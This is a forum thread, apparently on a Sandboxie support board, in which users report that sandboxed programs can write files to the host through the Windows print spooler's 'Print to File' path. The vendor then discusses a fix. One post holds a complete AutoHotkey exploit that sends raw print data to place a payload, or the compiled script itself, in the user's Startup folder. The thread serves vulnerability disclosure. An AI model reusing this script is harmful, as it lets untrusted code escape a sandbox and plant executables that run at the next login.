Print to file jobs, leak from sandboxie

[Hamy]

Unfortunately, for making printing from a program running under sandboxie possible, there appears to have been some considerable security ease in printer spooler service(I'm assuming?) without the possibility to disable them. It's no secret that printer spooler has been used in variety of attacks and is subjected to a lot of 0-days vulnerabilities.
And this is not the only area that sandboxie allows some potentially dangerous api's to pass through, before demonstrating the print to file leak, i am asking to please give us options to disable these exceptions for a more secure experience. or find a way to properly secure them.

I'm using adobe acrobat reader v11.0.09 in win 7 x64 with SandBoxie v4.14 . Open acrord32.exe in a sandbox. Ctrl+O , Open a pdf file, choose print in the menu, choose a real printer(or the internal fax printer available in win7. interestingly, Microsoft XPS printer, behaves correctly). before printing, click on Advanced button and click the 'Print to File' check box. Now click OK and print. You will be asked where to save the file, choose a location. and hit OK. Voila! , you just bypassed the sandboxie isolation. I do not think that it would be hard to exploit that.

Edit: I can confirm that this is also eproducible in win 8.1 x86. interestingly, it leaks even when choosing Microsoft XPS printer.

[Curt@invincea]

The print spooler design does not allow for a copy to be run in the sandbox. So, Sandboxie must communicate with the spooler in the host. The only data that passes out of the sandbox is the print file itself. Applications in the sandbox cannot inject into the spooler, make spooler API calls, nor take control of the spooler, which is how these malware attacks operate.

[Hamy]

Hi Curt, thanks for the answer. although it's somehow reassuring that the api injection in print spooler service is not possible, the fact that the sandboxie passes raw unsandboxed printer data to the spooler service, makes it subjected to potentially exploiting vulnerabilities in the printer drivers, don't you think? Having a system in place to disallow these sort of direct access unless we truly trust the sandboxed program, would be a good idea.
Furthermore, i still see this file leak as a problem. at the very least assuming there is no other leak in printer spooler service, one could easily write a program to spam the host with unwanted files or even replace some important files(yes, ive tried it, it works. you can overwrite some files), or even to pass a raw exe file as a raw print data to the print spooler service, making it to put an exe file in the startup folder for example (not sure if this one is possible or not however. guess it depends on whether the print spooler service is responsible in making the raw print data or the application with the help of the print driver).
Can really nothing be done about this? when i print to file in adobe reader, it copies the file to the real location. however, i can also see the file in the sandboxed location with the size of 0. and when i try to replace a file with the print to file method, it replaces the file, however i can see the original file in the sandboxed location. This is a rather strange behavior.

[BUCKAROO]

He's right, you know... Hamy is right.

Code: Select all

/*
Sandboxie Printer Spooler Exploit
based on RawDataToPrinter sample.

Microsoft XPS Document Writer, and Fax, and
every other driver with Generic Raw support,
I suppose, is vulnerable to an executable
payload to be deposited on the host system.

Also shows an User Mode (Type 3 or higher ?)
driver or printer monitor could be installed
to host from Sandbox, no elevation required?

[Windows 8.1 core (64-bit)]
Sandboxie 4.15.2 bypassed !
... ?

32-bit & 64-bit compatible AutoHotkey script
http://ahkscript.org/download/
Save as SbieSpoolSploit.ahk and drop onto pe
*/

;
Global NULL:=0
;

Global PrinterName:=""
;PrinterName:="SbieSpoolerSploit" ; comment out this very line to use your default printer for the attempt.
SbieSpoolerSploitInit(PrinterName)
MsgBox,Trying "%PrinterName%".
if(!PrinterName)
{
	MsgBox,No printer tested.
	return
}

Global OutputFile:=""
OutputFile:=A_Desktop "\" A_ScriptName ".exe" ; comment out this very line to use your user's Startup folder.
result:=SbieSpoolerSploit(OutputFile)
if(result&&FileExist(OutputFile))
{
	MsgBox,Success?`n"%OutputFile%"
}
else
{
	MsgBox,Nothing?`n"%OutputFile%"
}

ExitApp
return

SbieSpoolerSploitInit(ByRef PrinterName)
{
	if(PrinterName)
	{
		; Install "Generic / Text Only" (not absolute requirement for sploit) printer and driver.
		; A wild exploit would employ the API.
		rundll32:=A_WinDir "\"
		rundll32.="System32\rundll32.exe"
		DllCall("Wow64DisableWow64FsRedirection","UPtr*",OldValue)
		Target="%ComSpec%" /C ""%rundll32%" printui.dll,PrintUIEntry /if /b"%PrinterName%" /m"Generic / Text Only" /r "LPT1:""
		RunWait,%Target% ;,,Hide
	}
	else
	{
		VarSetCapacity(PrinterName,cchBuffer:=255)
		DllCall("winspool.drv\GetDefaultPrinter","UPtr",&PrinterName,"UInt*",cchBuffer)
		VarSetCapacity(PrinterName,-1)
	}
}

SbieSpoolerSploit(ByRef OutputFile)
{
	if(!OutputFile)
	{
		OutputFile:=A_Startup "\" A_ScriptName ".exe"
		; confirmed by Task Manager Start-up programs
	}
	
	if(!DllCall("winspool.drv\OpenPrinter","Str",PrinterName,"UPtr*",hPrinter,"UPtr",NULL))
		return false
	
	DocName:=A_ScriptName
	Datatype:="RAW"
	
	;// Fill in the structure with info about this "document."
	VarSetCapacity(DOC_INFO_1,A_PtrSize+A_PtrSize+A_PtrSize,0)
	NumPut(&DocName,DOC_INFO_1)
	NumPut(&OutputFile,DOC_INFO_1,A_PtrSize)
	NumPut(&Datatype,DOC_INFO_1,A_PtrSize+A_PtrSize)
	
	;// Inform the spooler the document is beginning.
	if((dwJob:=DllCall("winspool.drv\StartDocPrinter","UPtr",hPrinter,"UInt",1,"UPtr",&DOC_INFO_1,"UInt"))==0)
	{
		DllCall("winspool.drv\ClosePrinter","UPtr",hPrinter)
		return false
	}
	
	;// Start a page.
	if(!DllCall("winspool.drv\StartPagePrinter","UPtr",hPrinter))
	{
		DllCall("winspool.drv\EndDocPrinter","UPtr",hPrinter)
		DllCall("winspool.drv\ClosePrinter","UPtr",hPrinter)
		return false
	}
	
	; string payload
	payload_bin:="Sardo Numspa"
	dwCount:=StrLen(payload_bin)
	
	; binary payload
	if(A_IsCompiled) ; self payload
	{
		FileGetSize,dwCount,%A_ScriptName%
		FileRead,payload_bin,*c %A_ScriptName%
	}
	else ; whatever payload
	{
		; this payload's just an icon file, as I'm too darn lazy to assemble anything this minute.
		payload_str:="0000010001000808100001000400A80000001600000028000000080000001000000001000400000000004000000000000000000000000000000000000000FFFFFF003A002500FF00A10000000000C4007C0000002B00BF007700B3006B00000000000000000000000000000000000000000000000000000000000000000073333333333333333363363333333333333345433343533333334321333333127F000000BF000000DB000000ED000000F1000000D7000000E4000000FC000000"
		
		VarSetCapacity(payload_bin,dwCount:=StrLen(payload_str)//2)
		Loop,% dwCount
			NumPut("0x" SubStr(payload_str,2*A_Index-1,2),payload_bin,A_Index-1,"Char")
		payload_str:=""
	}
	
	;// Send the data to the printer.
	;if(!DllCall("winspool.drv\WritePrinter","UPtr",hPrinter,"AStr",payload_bin,"UInt",dwCount,"UInt*",dwBytesWritten)) ; string payload
	;if(!DllCall("winspool.drv\WritePrinter","UPtr",hPrinter,"Str",payload_bin,"UInt",dwCount*=2,"UInt*",dwBytesWritten)) ; string payload
	if(!DllCall("winspool.drv\WritePrinter","UPtr",hPrinter,"UPtr",&payload_bin,"UInt",dwCount,"UInt*",dwBytesWritten)) ; binary payload
	{
		DllCall("winspool.drv\EndPagePrinter","UPtr",hPrinter)
		DllCall("winspool.drv\EndDocPrinter","UPtr",hPrinter)
		DllCall("winspool.drv\ClosePrinter","UPtr",hPrinter)
		return false
	}
	
	;// End the page.
	if(!DllCall("winspool.drv\EndPagePrinter","UPtr",hPrinter))
	{
		DllCall("winspool.drv\EndDocPrinter","UPtr",hPrinter)
		DllCall("winspool.drv\ClosePrinter","UPtr",hPrinter)
		return false
	}
	
	;// Inform the spooler that the document is ending.
	if(!DllCall("winspool.drv\EndDocPrinter","UPtr",hPrinter))
	{
		DllCall("winspool.drv\ClosePrinter","UPtr",hPrinter)
		return false
	}
	
	;// Tidy up the printer handle.
	DllCall("winspool.drv\ClosePrinter","UPtr",hPrinter)
	
	MsgBox,Needed to write: %dwCount% bytes`nActually written: %dwBytesWritten% bytes
	
	;// Check to see if correct number of bytes were written.
	if(dwBytesWritten!=dwCount)
		return false
	
	return true
}

[Mr.X]

Curt, we need, well I need you to explain in depth this as I consider it security breach from their point of view.

TIA

[Dun]

Is Sandboxie 3.xx also vulnerable? How to block this via Sandboxie for PC which does not have printer?

[Buster]

If printer service is not running there should not be any exploitable hole.

[Hamy]

@ BUCKAROO
Thank you very much for providing proof for my suspicion. I can confirm that your script works for my printer as well. I hope that now Curt realizes that this is a serious issue. and unfortunately, without exactly knowing whats going on between sandboxie and print spooler service in the background, there is no easy way to confirm that these are the only leaks in print spooler service. whenever sandboxie passes data generated by sandboxed apps to the host, without supervising what the host does with it, there is a risk of exploiting it.

[Curt@invincea]

I am looking into this issue. But, it may require disabling printing entirely from the sandbox. Is everyone OK with this?

[Peter2150]

I am looking into this issue. But, it may require disabling printing entirely from the sandbox. Is everyone OK with this?

How about an option? Is that possible?

[Bellzemos]

I am looking into this issue. But, it may require disabling printing entirely from the sandbox. Is everyone OK with this?

You mean as we won't be able to print a sandboxed DOC or PDF document? I'm vote against it, I'd like to keep it as it is and find a different solution. If possible of course.

[Curt@invincea]

I am looking into this issue. But, it may require disabling printing entirely from the sandbox. Is everyone OK with this?

How about an option? Is that possible?

Yes indeed. I think the default would have to be to allow printing or we will be flooded with "printing no longer works" posts.

[Peter2150]

I am looking into this issue. But, it may require disabling printing entirely from the sandbox. Is everyone OK with this?

How about an option? Is that possible?

Yes indeed. I think the default would have to be to allow printing or we will be flooded with "printing no longer works" posts.

Sounds great Curt. Thanks for taking a great program and taking it to a new level.

Pete

[Hamy]

I am looking into this issue. But, it may require disabling printing entirely from the sandbox. Is everyone OK with this?

sandboxie surely has control over the data before it passes it to the print spooler service. if you couldn't find a solution to completely secure print spooler against potential exploits like that, my suggestion is to have 2 options for printing from a sandboxed apps(at least till a better solution comes along). first whether they can communicate with print spooler or not at all (and it should be probably allowed by default. though it might still be up to discussion) , and a second option to disable print to file (I think since you have control over the data before passing it to the print spooler, you are probably able to figure out whether it's a print job or a print to file job) and it should be disallowed by default. or you might decide that since print to file is so rarely used and since it completely bypasses the sandboxie protection, it should never be allowed.

[rpljhun]

If Sandboxie passes output to Windows Print Service either to print to file or print job, still it will be vulnerable since there were several vulnerabilities found in Windows Print Service, any unhandled and unexpected inputs may leads to vulnerabilities. This will make a security hole even at Untrusted Integrity Level under Sandboxie. I think it is best to have Sandboxie provides its own service program for this just like the other service programs.